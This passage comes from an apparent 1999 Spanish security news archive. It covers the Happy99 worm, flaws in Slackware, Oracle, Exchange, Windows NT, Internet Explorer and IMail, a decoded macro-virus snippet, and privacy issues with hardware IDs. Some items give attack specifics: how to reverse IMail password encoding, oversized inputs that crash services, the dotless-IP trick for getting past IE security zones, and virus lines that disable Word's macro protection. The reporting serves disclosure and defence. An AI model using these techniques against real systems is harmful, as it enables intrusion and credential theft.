aun más el gusano. Diariamente nos piden información y ayuda
para eliminar Happy99 de un equipo y encontramos casos de
afectados por él. Por ello, hemos decidido retomar el tema
y explicar paso a paso como hacer frente al problema.

La mejor forma de evitar la infección es prestar atención a los
mensajes que llegan al sistema y no ejecutar ninguno de
procedencia extraña, e incluso, por mucha credibilidad que
tengamos en el remitente ningún archivo que llegue bajo el
nombre «happy99.exe». A pesar ello, si por desconocimiento o
descuido se llega a ejecutar este programa se visualizarán en
una pantalla unos efectos de fuegos artificiales felicitando
el año nuevo. Durante este proceso el programa realiza todas
las acciones necesarias para instalarse en la máquina. Por un
error de programación, Happy no se reproduce en máquinas con
Windows NT.

Happy99 no es dañino para la máquina en que se ejecuta, y el único
problema es la transmisión del programa infector por cada mail que
se envía, aunque dicha acción se realiza sin conocimiento del
usuario. Aunque no sea perjudicial, las molestias ocasionadas al
final pueden llegar a hacerse notar y se pueden evidenciar
problemas en el envío de algunos mensajes.

La mejor forma de confirmar la existencia de este gusano en nuestra
máquina pasa por buscar el fichero «ska.exe» en el directorio
system de Windows, en caso de encontrarlo el ordenador estará
infectado. Por suerte Happy99 es fácil de eliminar y puede
hacerse "a mano", sin ayuda de ninguna herramienta especial, tan
sólo seguir los pasos que vamos a indicar.

En primer lugar hay que eliminar los archivos «ska.exe» y «ska.dll»
del directorio system de windows. Tras ello hay que borrar el
fichero «wsock32.dll» del mismo directorio y renombrar el
«wsock32.ska» a «wsock32.dll», para poder efectuar esto debemos
estar desconectados de Internet. Una forma de parchear el sistema
y evitar que cualquier usuario de la máquina la infecte es cambiar
los atributos de «wsock32.dll» a solo-lectura.

Más información:
HispaSec: http://www.hispasec.com/unaaldia.asp?id=92


Antonio Ropero



viernes, 19 de marzo de 1999

Instalación por red vulnerable en Slackware

Slackware, una de las más conocidas distribuciones de Linux es
vulnerable al instalarse en entornos de red. El sistema permite
por defecto el acceso remoto al nivel de root sin password.
Slackware es una de las distribuciones Linux más extendidas. Para
hacernos con ella podemos recurrir a las versiones en CD-ROMs, o
recurrir a bajarnos los ficheros a través de Internet. Muchos de
los sitios nos permiten también acceso NFS para realizar las
instalaciones de las distribuciones de manera directa desde la
Red.

Durante la rutina de instalación de Slackware, existe un periodo
de tiempo durante el cual el sistema es vulnerable a un login
remoto como root a través de telnet. La duración de este periodo
depende del factor humano y puede comprender desde minutos hasta
varias horas e incluso más. Esta vulnerabilidad se encuentra
presente al habilitarse las opciones de red por defecto en el
kernel disponibles en "net.i".

Un ataque a estos sistemas es factible gracias a un conjunto de
despropósitos que comienzan con que Slackware inicia y completa
su instalación sin establecer la password de root. Esto conlleva
que tras reiniciar por primera vez, el sistema se encuentra sin
password en la cuenta de administrador. A este problema local
debemos de sumar que por defecto se encuentran activados telnetd
y rlogin en inetd.conf, que se agrava con la configuración del
fichero /etc/securetty que permite el acceso root remoto
incluyendo entradas desde ttyp0 hasta ttyp3.

El arranque de los distintos componentes que forman el sistema se
va produciendo paulatinamente. En el caso de inetd, se activa en
los primeros momentos, con lo que se habilitan las conexiones de
red incluso antes de que se pueda establecer comunicación local a
través de la consola. Es en este momento cuando el sistema empieza
a ser vulnerable, y continuará así hasta que el administrador
establezca la password de root o deshabilite ciertos servicios.

El tiempo que puede pasar entre que el sistema arranca por primera
vez y se accede a la consola local, hasta que se establece la
password, depende exclusivamente del factor humano. Parece
bastante claro que durante este periodo nos encontramos ante
una vulnerabilidad que se podría presentar, sobre todo, en
administradores noveles que no optaran por establecer la password
y configuraciones de acceso remoto en los primeros momentos.

En pruebas realizadas, en un entorno muy favorable al atacante,
se ha podido comprobar como es factible realizar el acceso remoto
antes incluso de que el usuario pueda interactuar localmente por
primera vez con el sistema. Esta vulnerabilidad es especialmente
peligrosa en el caso de la instalación remota a través de NFS,
donde es factible identificar los sistemas que están instalando
Slackware directamente a través del servidor NFS o mediante
análisis del tráfico. Utilizando estas técnicas es fácil
implementar utilidades que automaticen el ataque cuando se
detecten sistemas que comiencen la instalación de esta distribución.

La forma de evitar esta vulnerabilidad a la hora de instalar
nuestra distribución de Slackware pasa por utilizar sistemas
locales y evitar NFS. Deberemos mantenernos desconectados de
la red hasta que establezcamos una configuración segura, que
pasa por establecer de forma inmediata la password de root y
borrar las entradas ptty del fichero /etc/securetty para evitar
las conexiones remotas. Otras medidas pasan por deshabilitar,
si no son necesarios, los servicios de telnet y ftp en el
fichero inetd.conf y reiniciar inetd, de la misma manera que
es recomendable invalidar rlogin, rsh y rexec.

Más información:
Bugtraq
Slackware


Bernardo Quintero



jueves, 18 de marzo de 1999

Password al aire en Oracle

El asistente de creación de base de datos de la versión 8 del SGBD
Oracle deja la password del usuario interno en un fichero log en
texto plano.
La última versión de la base de datos de Oracle contiene, entre las
herramientas de administración, una dedicada a crear una base de
datos estándar que permite al usuario con pocos conocimientos de
la materia ejecutar los procedimientos necesarios para generar una
base de datos pidiendo al usuario un conjunto mínimo de parámetros.

Entre ellos se encuentra la password del usuario interno. Este
usuario es el único que puede conectarse cuando no se encuentra en
ejecución la base de datos, y puede modificar todos los valores de
la configuración de ésta. Se accede a él por el «server manager»,
utilidad de administración, mediante:

connect internal/mypass

donde mypass es la password de dicho usuario.

Como la mayoría de las herramientas que realizan tareas automáticas,
el asistente de creación de bases de datos de Oracle va guardando en
un fichero log todas las acciones que va acometiendo. La primera de
ellas es la conexión a la base de datos con el usuario interno, y
esto queda registrado en dicho log con la password en texto claro.
El mayor problema es que el acceso a este log es ilimitado, por lo
que cualquier usuario puede leer la password de este usuario.

La solución es tan simple como tener la precaución de cambiar la
password una vez haya terminado el proceso de creación. Otra
posible solución sería borrar dicho log. En cualquiera de los dos
casos hay que tener en cuenta este dato para no dejarnos «la puerta
abierta».

Más infomación:
Bugtraq


None



miércoles, 17 de marzo de 1999

Ataque contra Servicios de Directorio de Microsoft

Se ha descubierto una vulnerabilidad del Servicio de Directorio
LDAP del servidor de correo Microsoft Exchange 5.5, que puede ser
corregida mediante un parche publicado por Microsoft.
Hay que destacar la rápida reacción de Microsoft para remediar la
debilidad en la función Bind de LDAP (Lightweight Directory Access
Protocol) para Exchange 5.5. Esta vulnerabilidad podría permitir un
ataque de denegación de servicio contra el servidor Exchange e
incluso bajo ciertas circunstancias podría permitir la ejecución de
código en el servidor.

El problema se encuentra al realizar una petición Bind mal
construida de forma que se sobrecarga el buffer y permite la
ejecución arbitraria de código. Este ataque también puede bloquear
el servicio LDAP de Exchange.

La función Bind en el servicio de directorio de Exchange 5.5 tiene
un buffer sin comprobación, y como ya hemos visto en casos similares,
una situación de este tipo posibilita que los ataques por sobrecarga
de buffer (buffer overflow) se lleven a cabo con éxito. Se puede
producir una denegación de servicio a través de una petición Bind
mal construida que llene el buffer y provoque que el servicio de
directorio deje de funcionar. El ordenador no necesitará
reiniciarse, pero el servicio afectado y todos los dependientes
de él, deberán arrancarse de nuevo para reanudar la mensajería.
Por otra parte, la ejecución arbitraria de código parece mucho más
difícil de realizar, en este caso la petición Bind debe construirse
de forma cuidadosa para lograr el efecto deseado. Ninguno de los
dos problemas pueden darse de forma accidental.

Los administradores de red pueden proteger los sistemas de ataques
externos mediante la inserción de una regla de filtrado en el
router (o en el firewall), que implique la denegación de todos
los paquetes TCP entrantes cuyo puerto de destino sea el 389.
Microsoft también recomienda a los administradores cuyos sistemas
que puedan verse afectados la instalación del parche.

Más información:
Información ISS
Boletín de seguridad de Microsoft
Microsoft Knowledge Base (KB)


Antonio Ropero



martes, 16 de marzo de 1999

Virus de macro con cifrado

Un nuevo virus de macro revoluciona la tecnología de este tipo de
amenazas al cifrar y descifrar su propio código.
Hasta el momento la capacidad para cifrar el código infector de un
virus parecía algo reservado a los virus tradicionales ejecutables,
bien para plataformas DOS o Windows, pero no a los virus de macro o
similares. El nuevo W97M/Sattelite (también conocido como W97M/SAT)
es un virus de macro de Word que presenta la extraordinaria
capacidad de cifrar su propio código.

El virus es capaz de cifrar y descifrar su propio código en tiempo
real, lo que hace el análisis y la detección del virus mucho más
compleja y problemática para los desarrolladores de antivirus. La
encriptación se basa en múltiples capas de una sustitución basada
en operaciones XOR.

Sattelite sólo puede trabajar en entornos Windows 95 o 98, se
reproduce siempre que un documento Word se abre o se cierra, y
verifica si un documento ya está infectado mediante la búsqueda del
texto «SATTELITE V1.5» en las macros del archivo. Cuando el virus
se activa realiza una modificación del registro, de tal forma que
modifica el nombre del usuario de Windows a «ThE wEiRd GeNiUs».

Esta es toda la información que podrá encontrar si visita la web de
Data Fellows, quienes han hecho pública la aparición de este nuevo
virus. En HispaSec nos hemos hecho con una muestra del virus y os
presentamos la forma en la que cifra este virus que, como se puede
comprobar, es muy simple. En esta ocasión estamos en desacuerdo con
el enfoque dado en la noticia, en ningún momento se puede tachar su
capacidad de cifrado como «extraordinaria».

Las primeras líneas del código cifrado se presentan de la siguiente
manera:

'Ml"Gppmp"Pgqwog"Lgzv
'Etthmgepmkj*AjefhaGejgahOa}$9$s`Gejgah@mwefha`
'Ivroihu(PotsuVtirceroih&;&@gjuc
'Gx|agf{&[i~mFgzeidXzgex|(5(Nid{m

El primer carácter, "'", es utilizado como REM para que el código
cifrado no produzca errores. A continuación nos encontramos con la
línea cifrada, que se basa en un XOR de cada carácter que la forma
con el número que ocupa la línea multiplicado por dos. En el caso
de que la línea multiplicada por dos sea mayor que 20, el contador
de líneas vuelve a situarse en uno.

Podríamos descifrar mediante:

FOR j=2 to LEN(tcifr[Z])
tclaro=tclaro+CHR$(ASC(MID$(tcifr[Z],,j,1))) XOR Z*2)
NEXT

En la variable «tclaro» se obtiene cada línea según se descifra,
siendo «tcifr» cada línea cifrada y "Z" el número de ésta. El
anterior código, en principio ininteligible, tras pasar por este
programa, quedaría de la forma:

On Error Resume Next
Application.EnableCandelKey = wdCancelDisabled
Options.VirusProtection = False
Options.SaveNormalPrompt = False

Queda con esto demostrado la debilidad del sistema de cifrado, y la
poca, por no decir nula, aportación a la encriptación en virus
informáticos. Por descontado parece claro que no supondrá, ni por
asomo, ninguna dificultad añadida a las casas antivirus. Aunque, y
como hemos visto, ha proporcionado una nueva oportunidad para
alertar a los usuarios.

Más información:
Información Data-Fellows


Antonio Ropero/Bernardo Quintero



lunes, 15 de marzo de 1999

Windows 98 un peligro para la intimidad

Cuando todavía está reciente la información acerca de los
problemas del número identificativo generado por las
aplicaciones más conocidas de Microsoft y que se envía al
registrar Windows 98, surgen nuevos avisos de ataque a la
privacidad en torno a Windows 98.
Cualquier sitio web puede leer la información que identifica
uniquívocamente cada usuario y su ordenador, pero incluso estos
datos pueden ser modificados y enviados a Microsoft, todo ello
sin el conocimiento ni la autorización del usuario.

Windows 98 hace uso de RegWiz para procesar el formulario de
registro del sistema operativo y enviarlo a Microsoft a través
de Internet. A partir de la configuración del ordenador y los
datos introducidos por el usuario en el formulario de registro
se generan dos números que permiten identificar de forma única
al PC y al usuario. A través del Número de Identificación de
Hardware (hardware identification number, HWID) se puede
determinar de forma inequívoca el ordenador del usuario,
mientras que a través del Microsoft ID (MSID), se puede
precisar el usuario. Este segundo dato se localiza en una
cookie para el acceso a los servicios del web de Microsoft.

Pero las funciones de RegWiz van mucho más lejos, ya que
permite que tanto el HWID como el MSID queden al alcance de
cualquier sitio web, e incluso permite su modificación. Esto
quiere decir que cualquier sitio web puede leer los números o
por otra parte modificarlos, todo ello sin el conocimiento del
usuario. Se puede encontrar una demostración de cómo una página
web puede leer y modificar los números en www.winmag.com/web/regwiz.htm.

Todo parece indicar que la problemática es mucho mayor de lo
que en principio parecía, ya RegWiz también tiene la posibilidad
de enviar toda la información acerca del PC, el hardware y las
aplicaciones que se ejecutan sobre él, a Microsoft sin el
conocimiento, ni la autorización del usuario.

Microsoft pondrá a disposición de los usuarios un parche y una
herramienta que permitirán borrar todo rastro de estos números
de su ordenador y documentos. La compañía también asegura que
esta característica estará totalmente desabilitada en el ya
inminente Office 2000.

Más información:
Techweb
Demostración en Windows Magazine
Como desabilitar RegWiz (Windows Magazine)
CNET



Antonio Ropero



domingo, 14 de marzo de 1999

Microsoft publica un parche para la vulnerabilidad del salvapantallas

Microsoft distribuye un parche para la vulnerabilidad recientemente
descubierta en Windows NT con relación al protector de pantalla.
Recientemente nos hacíamos eco de una vulnerabilidad de Windows NT
con relación al protector de pantalla, por la cual un usuario
local podía conseguir privilegios de administrador (ver
www.hispasec.com/unaaldia.asp?id=135). Como ya comentamos
Microsoft había confirmado el problema y trabajaba en la
programación de un parche para remediar el agujero.

Windows NT proporciona un protector de pantalla que se activa
cuando la máquina se encuentra inactiva por un periodo específico
de tiempo. Inicialmente, Windows NT lanza el salvapantallas en el
entorno del sistema, para pasar de forma inmediata su entorno de
seguridad al correspondiente con el usuario. Sin embargo, el
sistema operativo no comprueba si este cambio de entorno se
ha realizado de forma correcta. Este es el problema fundamental
de la vulnerabilidad, ya que si se consigue que el cambio falle,
el protector seguirá ejecutándose en el estado de mayor privilegio.
El riesgo reside en que un usuario malicioso puede desarrollar
un salvapantallas que, por ejemplo, emplee los privilegios para
añadir al usuario al grupo de Administradores.

Esta vulnerabilidad se presenta en entornos en los que se permita
el acceso a usuarios sin derechos de administración sobre
estaciones de trabajo. Además, hay que destacar que el alcance
de la elevación de privilegios del protector sólo atañe a la
máquina local, por lo que el código malicioso sólo afectará a
dicho sistema. Un usuario que haga uso de esta vulnerabilidad
en una estación de trabajo, podrá conseguir unirse al grupo de
Administradores de la máquina local, pero no pasar a ser
directamente administrador del dominio. Lógicamente si se
realiza en el controlador de dominio, sí podrá ser administrador
de todo el dominio.

Microsoft recomienda a los Administradores que evalúen el nivel
de riesgo que esta vulnerabilidad presenta en sus sistemas y
determinen si deben instalar el parche.

Más información:
Información Microsoft
Microsoft Knowledge Base (KB)
Parche
Información anterior en HispaSec
Información original de la vulnerabilidad



Antonio Ropero



sábado, 13 de marzo de 1999

Problemas con las Zonas de Seguridad del Internet IExplorer 4

Vulnerabilidad en el navegador de Microsoft debido a la forma
en que identifica las diferentes zonas de seguridad. En determinadas
ocasiones es posible que IE, versiones 4.x y betas 5, baje sus
defensas al confundir sitios de Internet con la intranet local.
A partir de la versión 4.0, Internet Explorer presentaba una
nueva filosofía para protección en Internet mediante la incorporación
de zonas de seguridad. Podemos encontrar cuatro zonas predefinidas:
Internet, intranet local, sitios en los que se confía y sitios
restringidos. Mediante un sencillo cuadro de diálogo podemos escoger
el nivel de seguridad para cada una de estas zonas, entre alto, bajo
y, por último, una opción que permite personalizar la configuración.

El problema viene derivado por la forma en que Internet Explorer
diferencia entre la zona Internet y la intranet local. El sistema
presupone que aquellas direcciones que contienen menos de 15
caracteres y que no poseen el caracter "." corresponden a la
zona de intranet local. Aunque esta sencilla regla puede ser
suficiente con la mayoría de las direcciones hay algunas excepciones
y determinadas técnicas que pueden poner en peligro al sistema, ya
que la configuración de la zona de intranet es mucho menor que la
de Internet.

El primer caso lo encontramos cuando un usuario tiene configurado
la orden de búsqueda del sitio de dominio en la pestaña de
Configuración DNS en las propiedades de TCP/IP. Por ejemplo, en
el caso de que incluyamos dominios tales como "com", la dirección
http://microsoft nos llevará al sitio http://microsoft.com en
internet, sin embargo nuestro Explorer considerará que se trata de
una zona de intranet local. Algo similar ocurre en aquellos dominios
a los que se han asignado directamente nombres que incumplen la
regla de IE, como por ejemplo en http://ls

Este mismo problema nos lo encontramos cuando se asigna un alias
a una IP en la tabla de hosts en el ficheros C:\WINDOWS\HOSTS. En
el caso, por ejemplo, de que en este fichero hagamos la entrada:
194.75.72.74 hispasec tendremos que la dirección http://hispasec
nos guiará a la página http://194.75.72.74, y en este caso Internet
Explorer volverá a creer que se trata de una zona de intranet local.

Otra forma de conseguir este efecto es haciendo uso de las
direcciones de 32 bits. En el caso de la direccion de hispasec,
http://194.75.72.74, podemos poner su dirección de la forma
http://3259713610/, con lo que evitamos los ".", al mismo tiempo
que las medidas de seguridad de la zona Internet. La forma de pasar
una dirección IP x,y,z,w ess calcular la dirección correspondiente
a partir de x*256^3+y*256^2+z*256+w.

Más información:
Navegadores inseguros
Confusión en las zonas del IE
Parche "Dotless IP Address"



Bernardo Quintero



viernes, 12 de marzo de 1999

Se demuestra la vulnerabilidad del número de serie de los Pentium III

Tras todas las especulaciones producidas en torno al número de serie
incluido en los Pentium III, una compañía canadiense hace púbico un
programa que demuestra su vulnerabilidad.
El número de serie incluido en los Pentium III ha levantado una gran
polémica, pero hasta ahora nadie había conseguido demostrar públicamente
la posibilidad de conseguir dicho código. Zero-Knowledge Systems, una
compañía dedicada al desarrollo de aplicaciones para la privacidad en
Internet ha desarrollado un programa que obtiene el identificador a
través de la Red.

La compañía ha diseñado un pequeño programa ActiveX que es capaz de
saltarse la utilidad de control del controvertido Pentium Serial Number
(PSN) de Intel. Para demostrar la facilidad con que un atacante malicioso
puede activar o robar este código identificativo el control graba el
número en una cookie, todo ello aunque la utilidad de Intel informe de
que el PSN está desactivado.

Los usuarios de Pentium III pueden comprobar por sí mismos la
vulnerabilidad de la protección de Intel a través de la página
http://www.zks.net/p3. Aunque la compañía no ofrece aun el código fuente
del desarrollo, anuncia que en futuro próximo lo ofrecerá al público.

El control ActiveX se esconde en un banner publicitario, de tal forma
que cuando el usuario pulsa sobre él, el control simula un bloqueo del
ordenador. Pero al mismo tiempo se carga en el ordenador del usuario un
troyano diseñado para saltarse la protección de Intel. Al reiniciar el
ordenador se da la oportunidad al control ActiveX de grabar el número
de serie en una cookie para cualquier uso posterior.

Esta información sale a la luz justo el mismo día en que Intel ha
reconocido que una serie de Pentium II para portátiles también incluyen
el número de serie (ver breves HispaSec), lo que sin duda aumentará la
polémica en torno a este tema en los próximos días. La compañía había
incluido el PSN de forma imperceptible en una línea de sus procesadores
PII para notebooks, como una forma de evaluar el proceso de fabricación
para el futuro Pentium III. Aunque esta circuitería era desactivada
antes de abandonar la fábrica, una de las líneas falló en dicho proceso,
con lo que salió al mercado el código activo.

Más información:
Zero-Knowledge Systems
Nota de prensa
Demostración
Campaña Anti PSN
Información en Breves Hispasec


Antonio Ropero



jueves, 11 de marzo de 1999

Privilegios no autorizados en Windows NT

Un nuevo agujero descubierto en Windows NT permite a un usuario
acceder a través del salvapantallas a derechos de administrador.
Microsoft ha confirmado el fallo, descubierto por la compañía
india Cybermedia Software, por el cual a través de un programa
específico un usuario puede conseguir privilegios de administración.
La acción maliciosa se lleva a cabo cuando se ejecuta el protector
de pantalla, momento en el cual, el usuario consigue derechos que
de forma ordinaria no posee.

La causa reside en que siempre que la máquina se encuentra inactiva
por un periodo fijado de tiempo se inicia el protector. Para ello,
se emplea el proceso Winlogon.Exe en modo suspendido usando una
llamada API a CreateProcess. Una vez que Winlogon.Exe coge el
proceso cambia al salvapantallas, el cual modifica el nivel de
seguridad primario del protector de pantalla al nivel del usuario
y reanuda el proceso del salvapantallas. Esto se hace así por
motivos de seguridad, si winlogon no actuara de esta forma, el
protector se ejecutaría con el nivel de seguridad de Winlogon.exe,
que es el del sistema.

Pero el proceso Winlogon.Exe no comprueba cuando el cambio del
nivel primario se ha realizado correctamente, por lo que si se
produce un fallo, el código binario del salvapantallas se ejecutará
en el contexto del sistema, y será capaz de llevar a cabo cualquier
tarea (como añadir al usuario actual en el grupo de administradores).

La propia Microsoft reconoce la gravedad del problema y afirma
estar trabajando para ofrecer en breve el parche que lo solucione.
A pesar de ello, las dificultades para llevar a cabo a cabo con
éxito el ataque son muchas. En primer lugar, solo es posible sobre
una estación a la que halla accedido de forma local, es decir debe
estar registrado como usuario, a lo que deben de unirse los
elevados conocimientos técnicos que se requieren para podes
explotar esta vulnerabilidad.

Más información:
Información original
CNET


Antonio Ropero



miércoles, 10 de marzo de 1999

Nuevo bug en Netscape Communicator

Un nuevo fallo de programación en todas las versiones de Netscape
Communicator 4.x puede permitir leer ficheros html locales,
consultar la caché y otros muchos problemas aun sin confirmar.
Georgi Guninski ha descubierto un nuevo agujero de seguridad en
Netscape. Hace menos de 15 días nos hacíamos eco del último
agujero que este prolífico investigador había encontrado en el
Communicator, cuando de nuevo vuelve a ocupar la actualidad de
nuestro servicio de noticias por motivos similares.

El nuevo agujero lleva consigo muchas implicaciones, como la
lectura de ficheros html locales (consultándolos en la forma en
que el usuario los ve, no el código fuente). De la misma forma,
pueden leerse ficheros html en un servidor web bloqueado por un
firewall (si el navegador y el servidor web se encuentran en la
misma cara del firewall). El bug también permite acceder a los
contenidos de la caché del usuario, e incluso permite la
navegación y la consulta de los directorios del disco duro del
usuario, así como otros efectos que el propio Guninski no
termina de confirmar.

El fallo hace uso de la función find() de JavaScript, junto con
el tag ILAYER, lo que hace que también pueda desarrollarse a
través de un mensaje e-mail. Netscape ya ha anunciado que está
trabajando en un parche para remediar este problema, aunque como
solución temporal se recomienda deshabilitar el lenguaje
JavaScript.

Más información:
http://www.nat.bg/~joro/nsfind.html


Antonio Ropero



martes, 9 de marzo de 1999

Cifrado débil en IMail Server

Se ha descubierto el modo en que cifra las passwords el programa
servidor de correo IMail 5.0 para Windows NT. De la mano de la
compañía Ipswitch, conocida por el popular cliente WS-FTP, nos
llega este servidor que pone en riesgo la seguridad de todo el
entorno debido a un pésimo sistema de cifrado.
Las passwords de los usuarios de IMail son encriptadas y almacenadas
en el registro de Windows NT. Podemos encontrarlas en la trayectoria
HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\
\Domains\yourdomain\users\

El sistema utilizado para cifrar las passwords es muy simple. Consiste
en sumar los valores de los caracteres que conforman el nombre de
usuario con los de la contraseña. De manera que suma el valor del
primer carácter del usuario con el primero de la clave, y sitúa la
suma en el registro, repite la operación con el segundo carácter, y
así sucesivamente. Si la longitud de la password es mayor que la del
nombre de usuario, éste último se repite hasta que se termine la
operación.

La forma de obtener la password original en texto claro a partir del
los caracteres cifrados del registro es obvia. Pongamos como ejemplo
el nombre de usuario "hispasec" y la siguiente cadena en el registro:
D8 DB E8 D5 C3 D4. Procederemos a continuación a pasar la cadena
"hispasec" a sus valores ASCII en hexadecimal y a restarlos a la
cadena del registro. El resultado de esa operación nos dará los
códigos ASCII de la contraseña.

D8-68=70=p
DB-69=72=r
E8-73=75=u
D5-70=65=e
C3-61=62=b
D4-73=61=a

Debido a esta debilidad, el acceso al registro del sistema del servidor
permite averiguar las passwords, ya que los nombres de usuarios pueden
conocerse por defecto. Esta debilidad podría aprovecharse para atacar
el resto del sistema, debido a que es normal que entre las cuentas de
correo se encuentre la de los administradores.

Pero los males de IMail Server no terminan aquí, son conocidos
múltiples ataques DoS para este servidor. A través del Imapd, puerto
143, se puede conseguir un overflow al intentar autentificarse con
un usuario y contraseña de 1200 caracteres de longitud. Atacando al
servicio LDAP, puerto 389, mediante una cadena compuesta de "Y "+2375
caracteres se produce un considerable aumento de los recursos
consumidos por el sistema.

Similar es el ataque al servicio Web que ofrece IMail a través del
puerto 8383, donde al realizar un GET /[3000 caracteres]/ se consigue
un overflow que puede ser explotado. Esto último también ocurre al
realizar un envío de 1000 caracteres al puerto 43, donde se encuentra
el servicio Whois32.

Más información:
IMail Server
Información original


Bernardo Quintero



lunes, 8 de marzo de 1999

Microsoft admite el uso de un número identificativo

Microsoft reconoce que los documentos de Word y Excel graban un
número identificativo que permite reconocer de forma única a los
autores de dichos documentos.
Determinadas aplicaciones de Microsoft como Word o Excel generan
un número identificativo único que es enviado a Microsoft junto
con la información personal del usuario durante el proceso de
registro de Windows 98. Esta confirmación sale a la luz, justo en
medio de la polémica existente con el número de serie de los
Pentium III, por lo que Microsoft ha reconocido rápidamente la
amenaza a la intimidad de los usuarios que constituye este código.


La empresa de Bill Gates, que ha reconocido el problema, afirmó
que se trata a un error de programación, que será solucionado en
la próxima Service Release de Windows 98. Para aquellos usuarios
que ya tienen instalado el sistema operativo, la compañía ofrecerá
una utilidad para desactivarlo.

Cada vez que se redacta un documento con los populares programas
Word o Excel, se guarda en ellos un número de 32 dígitos que
identifica de forma única el ordenador que se ha empleado. El
código, llamado Globally Unique Identifier (Identificador Unico
Global) o GUID, está parcialmente basado, en al menos 12 dígitos,
en la dirección MAC asignada a los adaptadores de redes Ethernet.

Microsoft afirma que el objeto del número era ayudar a los técnicos
de Microsoft a diagnosticar los problemas de los usuarios de forma
más adecuada, aunque en ningún caso el software debería enviar
información a Microsoft si el usuario no lo especificaba. La
compañía de Redmond se ha comprometido a eliminar de sus bases de
datos toda información recopilada inadecuadamente.

Más información:
ABC
El Pais
CNET



Antonio Ropero



domingo, 7 de marzo de 1999

Los sistemas informáticos estadounidenses siguen sufriendo ataques

El sistema informático del Departamento de Defensa de los Estados
Unidos sigue sufriendo ataques continuos por parte de grupos de
hackers de diferentes procedencias y con diferentes fines.
Una vez mas los ordenadores "mas protegidos del mundo" están en
el punto de mira de los hackers, según informó Curt Weldon
representante del Departamento de Defensa de los Estados Unidos,
quien lleva a cabo una investigación sobre estas intrusiones.

Según este representante, los intentos de introducirse dentro de
los sistemas informáticos de la defensa Norteamericana se están
realizando de forma coordinada y organizada. Según el Pentágono
Rusia a sido el origen de diferentes de estos ataques, lo que no
es posible precisar si provienen de fuentes gubernamentales o de
individuos independientes más o menos organizados al igual que
también es posible que los ataques provengan de cualquier otro
lugar del mundo pero se este utilizando Rusia como ultimo salto
a los ordenadores Americanos.

En relación a estos ataques Weldon añadió "podríamos decir que
estamos en guerra". Como ejemplo de este tipo de ataques es el
realizado contra la base aérea Kelly, en San Antonio, Texas el
pasado 7 y 8 de enero, aunque fueron detectados y detenidos por
el nuevo sistema del Departamento de Defensa. Aunque se asegura
que hasta el momento no se ha conseguido entrar en el sistema
secreto de ordenadores, no excluye que los hackers hayan entrado
en ordenadores con información secreta ajenos al sistema más
protegido.

Quizás este pudiera ser el desenlace de los ataques conocidos
como Sunrise, que sucedieron en febrero de 1998 ya que los
ataques fueron amplios, sistemáticos y exhibían un patrón que
indicaban que podrían ser los preparativos de un ataque
coordinado contra los sistemas de la Defensa Norteamericana,
según se ha podido saber por el Vicesecretario de Defensa
Americano tras expirar el pasado martes el secreto que recaía
sobre el expediente "Solar Sunrise".

Más información:
Techweb
CNN


Antonio Román



sábado, 6 de marzo de 1999

Microsoft ofrece un parche para la vulnerabilidad del acceso a dlls

El 19 de febrero nos hacíamos eco de una vulnerabilidad de Windows NT
por la cual cualquier usuario con acceso local a la máquina podía
conseguir derechos de administrador. Al día siguiente Microsoft
ofreció una solución eventual al problema, pero hoy anuncia un
parche que lo soluciona completamente.
El conocido grupo L0pht descubrió un agujero en Windows NT
(http://www.hispasec.com/unaaldia.asp?id=115) por el cual un usuario
local de un sistema, podía llegar a conseguir derechos de
administrador, independientemente de los permisos originales que
dispusiera. El problema radicaba en el tratamiento que efectuaba
Windows NT de las dlls en memoria.

El mismo grupo que descubrió el problema ofrecía junto con el aviso
su propio parche para solucionarlo. Microsoft por su parte, a las
pocas horas de hacerse público el aviso ofreció una solución
eventual basada en la modificación de una clave del registro.
(http://www.hispasec.com/unaaldia.asp?id=116)

Como ya anunció en su día, el equipo de desarrollo ofrece ahora un
parche que brinda una solución completa y mucho más segura al
problema. El parche, para versiones de Windows NT en inglés, se
hace disponible a través de su ftp y basa su acción en modificar
los permisos por defecto de la lista KnownDLLs. Microsoft recomienda
esta solución como forma de eliminar la vulnerabilidad.

También recomienda a aquellos usuarios que anteriormente realizaron
el cambio en el registro para evitar verse afectados por el problema,
retornen el valor modificado a su configuración original, e instalen
este nuevo parche.

Más información:
Boletín de seguridad de Microsoft
Soporte de Microsoft
Parche


Antonio Ropero



viernes, 5 de marzo de 1999

Hackeo de un satélite ¿verdad o mentira?

En los últimos días, la noticia del hackeo de un satélite militar
británico ha rodado por todos los diarios de la red. Pero tras las
primeras noticias de alarma, no tardaron en llegar los desmentidos
oficiales.
El día 28 de febrero saltó la primera alarma, la agencia de noticias
Reuters daba la noticia de que un satélite militar Británico,
encargado de la defensa en caso de un posible ataque nuclear, fue
desviado de su trayectoria por unos desconocidos.

Según las primeras noticias, los hackers tomaron el control de uno de
los cuatro satélites conocidos como Skynet pidiendo posteriormente
una importante suma de dinero a cambio de dejar de nuevo el control
de los satélites en manos de las autoridades aerospaciales. Los
Skynet se utilizan para el control de los conflictos dentro de
Europa. El posible satélite controlado por los hackers sería el
denominado 4D, lanzado el 10 de enero de 1998 en un cohete tipo
Delta 2.

Lógicamente ante estas noticias no tardaron en saltar las primera
voces de alarma. Pero el gobierno británico reaccionó rápidamente y
el propio Ministerio de Defensa negó toda posibilidad de control por
parte de un hacker de una base militar o un satélite.

Desde luego, la polémica está servida, aunque posiblemente nunca
lleguemos a saber si realmente el satélite fue hackeado, si el
ministerio de defensa británico recibió e-mails de extorsión o si
realmente todo fue falso. Es lógico que el gobierno británico niegue
cualquier posibilidad de semejante acción pues todo su sistema
defensivo quedaría en ridículo.

Pero toda está polémica ha servido para iniciar un debate en los
medios especializados acerca de la posibilidad de hackear o tomar
control de un satélite, ya no sólo militar sino comercial. En la
actualidad se cifran en 330 los satélites comerciales que orbitan
en torno a la Tierra.

Ningún experto niega la posibilidad de que un hacker puede llegar a
tomar el control de un satélite pero las dificultades para que ello
ocurra son muy elevadas. Todas las compañías de satélites, así como
los militares, emplean encriptación para mantener todos sus datos y
comunicar las centrales con los satélites. Un atacante necesitaría
conseguir las claves de encriptación, o tomar el control del centro
o incluso ambas cosas.

En HispaSec hemos seguido puntualmente todo lo ocurrido informando
puntualmente a través de nuestro servicio de noticias breves
(http://www.hispasec.com/breves.asp).

Más información:
CNET (Primeras informaciones)
ZDNET (Desmentido de la información)
Newsbytes (Desmentido de la información)
BBC (Desmentido de la información)
CNET (Consecuencias finales)
Asociación de la Industria de Satélites
Ministerio de Defensa británico


Antonio Román/Antonio Ropero



jueves, 4 de marzo de 1999

Windows puede bloquearse pasados 49,7 días

